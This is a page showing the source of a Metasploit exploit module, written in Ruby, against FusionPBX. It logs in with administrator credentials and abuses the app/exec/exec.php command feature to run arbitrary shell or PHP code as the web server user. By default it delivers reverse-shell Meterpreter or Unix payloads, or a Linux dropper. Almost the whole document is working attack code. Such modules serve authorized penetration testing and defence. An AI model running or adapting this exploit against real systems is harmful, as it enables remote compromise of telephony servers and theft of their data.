Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(update_info(info,13'Name' => 'FusionPBX Command exec.php Command Execution',14'Description' => %q{15This module uses administrative functionality available in FusionPBX16to gain a shell.1718The Command section of the application permits users with `exec_view`19permissions, or superadmin permissions, to execute arbitrary system20commands, or arbitrary PHP code, as the web server user.2122This module has been tested successfully on FusionPBX version234.4.1 on Ubuntu 19.04 (x64).24},25'License' => MSF_LICENSE,26'Author' => ['bcoles'],27'References' =>28[29['URL', 'https://docs.fusionpbx.com/en/latest/advanced/command.html']30],31'Platform' => %w[php linux unix],32'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],33'Targets' =>34[35['Automatic (PHP In-Memory)',36'Platform' => 'php',37'Arch' => ARCH_PHP,38'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'},39'Type' => :php_memory40],41['Automatic (Unix In-Memory)',42'Platform' => 'unix',43'Arch' => ARCH_CMD,44'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},45'Type' => :unix_memory46],47['Automatic (Linux Dropper)',48'Platform' => 'linux',49'Arch' => [ARCH_X86, ARCH_X64],50'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},51'Type' => :linux_dropper52]53],54'Privileged' => false,55'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 },56'DisclosureDate' => '2019-11-02',57'DefaultTarget' => 0))58register_options [59OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),60OptString.new('USERNAME', [true, 'The username for FusionPBX', 'admin']),61OptString.new('PASSWORD', [true, 'The password for FusionPBX'])62]63end6465def login(user, pass)66vprint_status "Authenticating as user '#{user}'"6768vars_post = {69username: user,70password: pass,71path: ''72}7374res = send_request_cgi({75'method' => 'POST',76'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),77'vars_post' => vars_post78})7980unless res81fail_with Failure::Unreachable, 'Connection failed'82end8384if res.code == 302 && res.headers['location'].include?('login.php')85fail_with Failure::NoAccess, "Login failed for user '#{user}'"86end8788unless res.code == 20089fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"90end9192cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first9394unless cookie95fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'96end9798print_good "Authenticated as user '#{user}'"99100cookie101end102103def check104res = send_request_cgi({105'uri' => normalize_uri(target_uri.path)106})107108unless res109vprint_error 'Connection failed'110return CheckCode::Unknown111end112113if res.body.include?('FusionPBX')114return CheckCode::Detected115end116117CheckCode::Safe118end119120def execute_command(cmd, opts = {})121vars_post = {122handler: 'php',123table_name: '',124sql_type: '',125id: '',126cmd: cmd127}128129case opts[:handler]130when 'php'131vars_post[:handler] = 'php'132when 'shell'133vars_post[:handler] = 'shell'134when 'switch'135vars_post[:handler] = 'switch'136vars_post[:cmd] = "bg_system #{cmd}"137else138vars_post[:handler] = 'shell'139end140141res = send_request_cgi({142'method' => 'POST',143'uri' => normalize_uri(target_uri.path, 'app/exec/exec.php'),144'cookie' => "PHPSESSID=#{@cookie}",145'vars_post' => vars_post146}, 5)147148unless res149return if session_created?150fail_with Failure::Unreachable, 'Connection failed'151end152153unless res.code == 200154fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"155end156157if res.body.include? 'access denied'158fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to execute #{vars_post[:handler]} #{vars_post[:handler].eql?('php') ? 'code' : 'commands'}"159end160161res162end163164def exploit165unless check == CheckCode::Detected166fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"167end168169@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])170171print_status "Sending payload (#{payload.encoded.length} bytes) ..."172173case target['Type']174when :php_memory175execute_command(payload.encoded, handler: 'php')176when :unix_memory177execute_command(payload.encoded, handler: 'shell')178when :linux_dropper179execute_cmdstager(:linemax => 1_500, handler: 'shell')180end181end182end183184185